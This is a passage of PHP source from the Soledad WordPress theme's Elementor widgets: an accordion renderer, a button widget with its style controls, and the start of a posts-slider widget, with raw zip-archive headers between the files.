                <h3 <?php $this->print_render_attribute_string( 'penci-ct-accordion-title' ); ?>>
                    <a href="<?php the_permalink(); ?>">
						<?php the_title(); ?>
                    </a>
                </h3>
			<?php endif;
			if ( ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] ) || ( count( array_intersect( array(
						'author',
						'date',
						'comment',
						'views',
						'reading',
					), $post_meta ) ) > 0 ) ) { ?>
                <div class="grid-post-box-meta penci-ct-meta">
                    <div class="pcbg-meta-desc">
						<?php if ( in_array( 'author', $post_meta ) ) : ?>
                            <span class="penci-ct-date-author author-italic author vcard">
						<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?>
					</span>
						<?php endif; ?>
						<?php if ( in_array( 'date', $post_meta ) ) : ?>
                            <span class="penci-ct-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                            <span class="penci-ct-comment">
						<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
					</span>
						<?php endif; ?>
						<?php
						if ( in_array( 'views', $post_meta ) ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php
						$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
						if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="penci-ct-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php echo penci_show_custom_meta_fields( [
							'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
							'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
							'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
							'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
							'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
						] ); ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
                </div>
			<?php }
			$excerpt_length = '20';
			if ( 'yes' == $settings['show_text'] ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-text' ); ?>>
					<?php penci_the_excerpt( $excerpt_length ); ?>
                </div>
			<?php endif; ?>

			<?php if ( 'yes' == $settings['show_button'] ) : ?>
                <div <?php $this->print_render_attribute_string( 'penci-ct-accordion-button' ); ?>>
                    <a href="<?php the_permalink(); ?>">
						<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                    </a>
                </div>
			<?php endif; ?>
        </div>
		<?php
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( current_user_can( 'manage_options' ) ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}

	public function render() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();

		if ( $settings['image_accordion_event'] ) {
			$imageAccordionEvent = $settings['image_accordion_event'];
		} else {
			$imageAccordionEvent = false;
		}

		$this->add_render_attribute(
			[
				'content-accordion' => [
					'id'            => 'penci-ct-accordion-' . $this->get_id(),
					'class'         => 'penci-ct-accordion',
					'data-settings' => [
						wp_json_encode( array_filter( [
							'tabs_id'          => 'penci-ct-accordion-' . $this->get_id(),
							'mouse_event'      => $imageAccordionEvent,
							'activeItem'       => $settings['active_item'] == 'yes' ? true : false,
							'activeItemNumber' => $settings['active_item_number']
						] ) )
					]
				]
			]
		);

		$this->add_render_attribute( 'penci-ct-accordion-title', 'class', 'penci-ct-accordion-title', true );
		$this->add_render_attribute( 'penci-ct-accordion-sub-title', 'class', 'penci-ct-accordion-sub-title', true );
		$this->add_render_attribute( 'penci-ct-accordion-text', 'class', 'penci-ct-accordion-text', true );
		$this->add_render_attribute( 'penci-ct-accordion-button', 'class', 'penci-ct-accordion-button', true );

		if ( 'yes' == $settings['hide_on_mobile_title'] ) {
			$this->add_render_attribute( 'penci-ct-accordion-title', 'class', 'penci-ct-accordion-title pccthide-m', true );
		}
		if ( 'yes' == $settings['hide_on_mobile_sub_title'] ) {
			$this->add_render_attribute( 'penci-ct-accordion-sub-title', 'class', 'penci-ct-accordion-sub-title pccthide-m', true );
		}
		if ( 'yes' == $settings['hide_on_mobile_text'] ) {
			$this->add_render_attribute( 'penci-ct-accordion-text', 'class', 'penci-ct-accordion-text pccthide-m', true );
		}
		if ( 'yes' == $settings['hide_on_mobile_button'] ) {
			$this->add_render_attribute( 'penci-ct-accordion-button', 'class', 'penci-ct-accordion-button pccthide-m', true );
		}

		if ( $settings['content_settings'] == 'post' ) {
			$this->render_posts();
		} else {
			$this->render_custom();
		}
	}

	public function render_custom() {
		$settings = $this->get_settings_for_display();
		if ( empty( $settings['image_accordion_items'] ) ) {
			return;
		}
		?>

        <div <?php $this->print_render_attribute_string( 'content-accordion' ); ?>>
			<?php foreach ( $settings['image_accordion_items'] as $index => $item ) :

				$title_key = 'title_to_' . $index;
				$button_key = 'button_to_' . $index;

				$slide_image = Group_Control_Image_Size::get_attachment_image_src( $item['slide_image']['id'], 'thumbnail_size', $settings );
				if ( ! $slide_image ) {
					$slide_image = $item['slide_image']['url'];
				}
				$this->add_render_attribute( 'content-accordion-item', 'class', 'penci-ct-accordion-item penci-lazy penci-image-holder', true );
				?>

				
                <div <?php $this->print_render_attribute_string( 'content-accordion-item' ); ?>
                        data-bgset="<?php echo esc_url( $slide_image ); ?>">
					<?php $this->render_accordion_content( $item, $title_key, $button_key ); ?>
                </div>
			

			<?php endforeach; ?>
        </div>
		<?php
	}
}
PK     0w\#W  W  )  elementor/modules/penci-button/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciButton;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-button';
	}

	public function get_widgets() {
		return array( 'PenciButton' );
	}
}
PK     0w\+I  I  7  elementor/modules/penci-button/widgets/penci-button.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciButton\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Utils;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Text_Shadow;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciButton extends Base_Widget {

	public function get_name() {
		return 'penci-button';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Button', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-button';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'button', 'click', 'penci', 'soledad' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_general',
			array(
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Button', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'text',
			array(
				'label'       => __( 'Button Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => __( 'Click Here', 'soledad' ),
				'placeholder' => __( 'Add Button Text Here', 'soledad' ),
			)
		);

		$this->add_control(
			'link',
			array(
				'label'       => __( 'Link', 'elementor' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
				'default'     => array(
					'url' => 'https://example.com/',
				),
			)
		);

		$this->add_responsive_control(
			'align',
			array(
				'label'   => __( 'Alignment', 'elementor' ),
				'type'    => Controls_Manager::CHOOSE,
				'options' => array(
					'left'    => array(
						'title' => __( 'Left', 'elementor' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center'  => array(
						'title' => __( 'Center', 'elementor' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'   => array(
						'title' => __( 'Right', 'elementor' ),
						'icon'  => 'eicon-text-align-right',
					),
					'justify' => array(
						'title' => __( 'Full', 'elementor' ),
						'icon'  => 'eicon-text-align-justify',
					),
				),
				'default' => '',
			)
		);

		$this->add_responsive_control(
			'button_padding',
			array(
				'label'      => __( 'Button Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcbtn-wrapperin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_responsive_control(
			'button_radius',
			array(
				'label'      => __( 'Button Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn, {{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'border_style!' => 'gradient' ),
			)
		);

		$this->add_control(
			'add_borders',
			array(
				'label'     => __( 'Add Borders to Button', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'border_style',
			array(
				'label'     => __( 'Borders Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					''         => 'Solid',
					'dotted'   => 'Dotted',
					'dashed'   => 'Dashed',
					'double'   => 'Double',
					'groove'   => 'Groove',
					'ridge'    => 'Ridge',
					'inset'    => 'Inset',
					'outset'   => 'Outset',
					'gradient' => 'Gradient',
				),
				'default'   => '',
				'condition' => array( 'add_borders' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'border_width',
			array(
				'label'      => __( 'Custom Button Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'add_borders' => 'yes' ),
			)
		);

		$this->add_control(
			'add_icon',
			array(
				'label'     => __( 'Add Icon to Button', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'button_icon',
			array(
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => array(
					'value'   => 'fas fa-star',
					'library' => 'solid',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'icon_pos',
			array(
				'label'     => __( 'Icon Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'left'  => __('Before','soledad' ),
					'right' => __('After','soledad' ),
				),
				'default'   => 'left',
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'icon_space',
			array(
				'label'     => __( 'Icon Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 300,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .pcbtn-icon-left span span i, {{WRAPPER}} .pcbtn-icon-left span span svg' => 'margin-right: {{SIZE}}px;',
					'{{WRAPPER}} .pcbtn-icon-right span span i, {{WRAPPER}} .pcbtn-icon-right span span svg' => 'margin-left: {{SIZE}}px;',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		// Subtext
		$this->add_control(
			'add_subtext',
			array(
				'label'     => __( 'Add Subtext?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'subtext',
			array(
				'label'       => __( 'SubText', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => __( 'Example Subtext', 'soledad' ),
				'placeholder' => __( 'Add Your SubText Here', 'soledad' ),
				'label_block' => true,
				'condition'   => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'subtext_align',
			array(
				'label'     => __( 'Text & Subtext Alignment', 'elementor' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'elementor' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'elementor' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'elementor' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbtn-wrapperin' => 'text-align: {{VALUE}};',
				),
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_responsive_control(
			'subtext_margin',
			array(
				'label'      => __( 'Subtext Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em', '%' ),
				'default'    => array(
					'top'      => '',
					'right'    => '',
					'bottom'   => '',
					'left'     => '',
					'unit'     => 'px',
					'isLinked' => false,
				),
				'selectors'  => array(
					'{{WRAPPER}} span.pcbtn-subtext' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_control(
			'button_id',
			array(
				'label'       => __( 'Button ID', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => '',
				'title'       => __( 'Add your custom id WITHOUT the Pound key. e.g: my-id', 'soledad' ),
				'description' => __( 'Please make sure the ID is unique and not used elsewhere on the page this form is displayed. This field allows <code>A-z 0-9</code> & underscore chars without spaces.', 'soledad' ),
				'separator'   => 'before',
			)
		);

		$this->end_controls_section();

		// Design
		$this->start_controls_section(
			'section_design_content',
			array(
				'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Button', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'button_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} span.pcbtn-content',
			)
		);

		$this->add_group_control(
			Group_Control_Text_Shadow::get_type(),
			array(
				'name'     => 'button_tshadow',
				'label'    => __( 'Text Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} span.pcbtn-content',
			)
		);

		$this->add_responsive_control(
			'icon_size',
			array(
				'label'     => __( 'Icon Font Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 500,
					),
				),
				'selectors' => array(
					'{{WRAPPER}}  span.pcbtn-content i'   => 'font-size: {{SIZE}}px;',
					'{{WRAPPER}}  span.pcbtn-content svg' => 'width: {{SIZE}}px;',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'subtext_heading',
			array(
				'label'     => __( 'Subtext', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'      => 'subtext_typo',
				'label'     => __( 'SubText Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} span.pcbtn-subtext',
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Text_Shadow::get_type(),
			array(
				'name'      => 'button_subtshadow',
				'label'     => __( 'Text Shadow', 'soledad' ),
				'selector'  => '{{WRAPPER}} span.pcbtn-subtext',
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->start_controls_tabs(
			'style_tabs'
		);

		$this->start_controls_tab(
			'style_normal_tab',
			array(
				'label' => __( 'Normal', 'soledad' ),
			)
		);

		$this->add_control(
			'btcolor',
			array(
				'label'     => __( 'Button Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} span.pcbtn-content' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'iconcolor',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} span.pcbtn-content i'   => 'color: {{VALUE}};',
					'{{WRAPPER}} span.pcbtn-content svg' => 'fill: {{VALUE}};',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'subcolor',
			array(
				'label'     => __( 'Subtext Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} span.pcbtn-subtext' => 'color: {{VALUE}};' ),
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'        => 'btbg',
				'label'       => __( 'Button Background', 'soledad' ),
				'types'       => array( 'classic', 'gradient' ),
				'selector'    => '{{WRAPPER}} .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn',
				'label_block' => true,
				'separator'   => 'before',
			)
		);

		$this->add_control(
			'border_cl',
			array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'add_borders' => 'yes' ),
				'separator' => 'before',
			)
		);

		$this->add_control(
			'sborder_cl',
			array(
				'label'     => __( 'Second Borders Color( Gradient Borders )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin' => 'border-image: linear-gradient( 360deg , {{border_cl.VALUE}}, {{VALUE}} ); border-image: -webkit-linear-gradient( 360deg , {{border_cl.VALUE}}, {{VALUE}} ); border-image-slice: 1;' ),
				'condition' => array(
					'add_borders'  => 'yes',
					'border_style' => 'gradient',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'      => 'box_shadow',
				'label'     => __( 'Box Shadow', 'soledad' ),
				'selector'  => '{{WRAPPER}} a.pcbtn',
				'separator' => 'before',
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'style_hover_tab',
			array(
				'label' => __( 'Hover', 'soledad' ),
			)
		);

		$this->add_control(
			'bthcolor',
			array(
				'label'     => __( 'Button Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pcbtn:hover span.pcbtn-content' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'iconhcolor',
			array(
				'label'     => __( 'Icon Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} a.pcbtn:hover span.pcbtn-content i' => 'color: {{VALUE}};',
					'{{WRAPPER}} a.pcbtn:hover span.pcbtn-content svg' => 'fill: {{VALUE}};',
				),
				'condition' => array( 'add_icon' => 'yes' ),
			)
		);

		$this->add_control(
			'subhcolor',
			array(
				'label'     => __( 'Subtext Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pcbtn:hover span.pcbtn-subtext' => 'color: {{VALUE}};' ),
				'condition' => array( 'add_subtext' => 'yes' ),
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'        => 'bthbg',
				'label'       => __( 'Button Hover Background', 'soledad' ),
				'types'       => array( 'classic', 'gradient' ),
				'selector'    => '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before',
				'label_block' => true,
				'separator'   => 'before',
			)
		);

		$this->add_control(
			'border_hcl',
			array(
				'label'     => __( 'Borders Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'add_borders' => 'yes' ),
				'separator' => 'before',
			)
		);

		$this->add_control(
			'sborder_hcl',
			array(
				'label'     => __( 'Second Borders Hover Color( Gradient Borders )', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-image: linear-gradient( 360deg , {{border_hcl.VALUE}}, {{VALUE}} ); border-image: -webkit-linear-gradient( 360deg , {{border_hcl.VALUE}}, {{VALUE}} ); border-image-slice: 1;' ),
				'condition' => array(
					'add_borders'  => 'yes',
					'border_style' => 'gradient',
				),
			)
		);

		$this->add_control(
			'hover_animation',
			array(
				'label' => esc_html__( 'Hover Animation', 'soledad' ),
				'type'  => Controls_Manager::HOVER_ANIMATION,
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'      => 'hbox_shadow',
				'label'     => __( 'Box Shadow on Hover', 'soledad' ),
				'selector'  => '{{WRAPPER}} a.pcbtn:hover',
				'separator' => 'before',
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
	}

	protected function render() {
		$settings       = $this->get_settings_for_display();
		$text           = $settings['text'] ? $settings['text'] : '';
		$link           = $settings['link']['url'] ? $settings['link']['url'] : '';
		$link_external  = $settings['link']['is_external'] ? ' target="_blank"' : '';
		$link_nofollow  = $settings['link']['nofollow'] ? ' rel="nofollow"' : '';
		$link_attr      = '';
		$link_attr_data = $settings['link']['custom_attributes'] ? $settings['link']['custom_attributes'] : '';
		if ( $link_attr_data ) {
			$link_attr = $this->get_data_link( $link_attr_data );
		}
		$button_id_attr = '';
		$button_id      = $settings['button_id'] ? $settings['button_id'] : '';
		if ( $button_id ) {
			$button_id      = str_replace( ' ', '', $button_id );
			$button_id_attr = ' id="' . $button_id . '"';
		}
		$add_icon     = $settings['add_icon'] ? $settings['add_icon'] : '';
		$add_borders  = $settings['add_borders'] ? $settings['add_borders'] : '';
		$border_style = $settings['border_style'] ? $settings['border_style'] : 'solid';
		$icon_pos     = $settings['icon_pos'] ? $settings['icon_pos'] : 'left';
		$align        = $settings['align'] ? $settings['align'] : 'none';
		$align_class  = 'pcbtn-align-' . $align;
		if ( isset( $settings['align_tablet'] ) && $settings['align_tablet'] ) {
			$align_class .= ' pcbtn-talign-' . $settings['align_tablet'];
		}
		if ( isset( $settings['align_mobile'] ) && $settings['align_mobile'] ) {
			$align_class .= ' pcbtn-malign-' . $settings['align_mobile'];
		}
		$add_subtext    = $settings['add_subtext'] ? $settings['add_subtext'] : '';
		$subtext        = $settings['subtext'] ? $settings['subtext'] : '';
		$button_icon    = $settings['button_icon'] ? $settings['button_icon'] : array();
		$icon_html      = '';
		$button_classes = 'pcbtn pcbtn-icon-' . $icon_pos;
		if ( $add_borders ) {
			$button_classes .= ' pcbtn-bordered pcbtn-bstyle-' . $border_style;
		}
		if ( 'yes' == $add_icon && ! empty( $button_icon ) ) {
			ob_start();
			\Elementor\Icons_Manager::render_icon( $button_icon );
			$icon_html = ob_get_clean();
		}
		if ( $settings['hover_animation'] ) {
			$button_classes .= ' elementor-animation-' . $settings['hover_animation'];
		}
		?>
		<div class="pcbtn-wrapper <?php echo $align_class; ?>">
			<a class="<?php echo $button_classes; ?>" 
								<?php
								if ( $link ) {
									?>
				href="<?php echo esc_url( $link ); ?>"<?php } echo $link_external . $link_nofollow . $link_attr . $button_id_attr; ?>>
				<span class="pcbtn-wrapperin">
					<span class="pcbtn-content">
					<?php
					if ( 'left' == $icon_pos ) :
						echo $icon_html;
endif;
					?>
					<?php echo do_shortcode( $text ); ?>
			<?php
			if ( 'right' == $icon_pos ) :
				echo $icon_html;
endif;
			?>
</span>
					<?php if ( 'yes' == $add_subtext && $subtext ) { ?>
					<span class="pcbtn-subtext"><?php echo do_shortcode( $subtext ); ?></span>
					<?php } ?>
				</span>
			</a>
		</div>
		<?php
	}
}
PK     0w\N#
    /  elementor/modules/penci-posts-slider/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPostsSlider;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-posts-slider';
	}

	public function get_widgets() {
		return array( 'PenciPostsSlider' );
	}
}
PK     0w\K1  1  C  elementor/modules/penci-posts-slider/widgets/penci-posts-slider.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPostsSlider\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPostsSlider extends Base_Widget {

	public function get_name() {
		return 'penci-posts-slider';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Widget Posts Slider', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'post', 'slider' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_page_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'penci_style', array(
			'label'   => __( 'Select Style for This Slider', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1' => esc_html__( 'Style 1', 'soledad' ),
				'style-2' => esc_html__( 'Style 2', 'soledad' ),
				'style-3' => esc_html__( 'Style 3', 'soledad' ),
			)
		) );

		$this->add_control( 'penci_size', array(
			'label'                => __( 'Image Size Type', 'soledad' ),
			'type'                 => Controls_Manager::SELECT,
			'default'              => 'horizontal',
			'options'              => array(
				'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
				'square'     => esc_html__( 'Square Size', 'soledad' ),
				'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
				'custom'     => esc_html__( 'Custom', 'soledad' ),
			),
			'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
			'selectors_dictionary' => array(
				'horizontal' => 'padding-top: 66.6667%;',
				'square'     => 'padding-top: 100%;',
				'vertical'   => 'padding-top: 135.4%;',
			),
		) );
		$this->add_responsive_control( 'penci_img_ratio', array(
			'label'          => __( 'Image Ratio', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => 0.66 ),
			'tablet_default' => array( 'size' => '' ),
			'mobile_default' => array( 'size' => 0.5 ),
			'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'selectors'      => array(
				'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
			),
			'condition'      => array( 'penci_size' => 'custom' ),
		) );
		$this->add_control( 'thumb_size', array(
			'label'     => __( 'Custom Image size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'penci_size' => 'custom' ),
		) );

		$this->add_control( 'hide_pdate', array(
			'label'   => __( 'Hide post date?', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => '',
		) );
		$this->add_control( 'dis_lazyload', array(
			'label'   => __( 'Disable lazyload ?', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => '',
		) );
		$this->add_control( 'enable_autoplay', array(
			'label'   => __( 'Enable Autoplay Slider?', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => '',
		) );
		$this->add_control( '_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
			'default'     => '10',
		) );
		$this->end_controls_section();
		$this->register_query_section_controls();
		$this->register_block_title_section_controls();
		$this->start_controls_section( 'section_pslider_style', array(
			'label' => __( 'Post Slider', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'heading_ptitle_style', array(
			'label' => __( 'Post Title', 'soledad' ),
			'type'  => Controls_Manager::HEADING
		) );

		$this->add_control( 'ptitle_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4 a' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4'   => 'color: {{VALUE}};',
			)
		) );
		$this->add_control( 'ptitle_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4 a:hover' => 'color: {{VALUE}};',
			)
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'ptitle_typo',
			'selector' => '{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4 a,{{WRAPPER}} .penci-widget-slider .penci-widget-slide-detail h4'
		) );

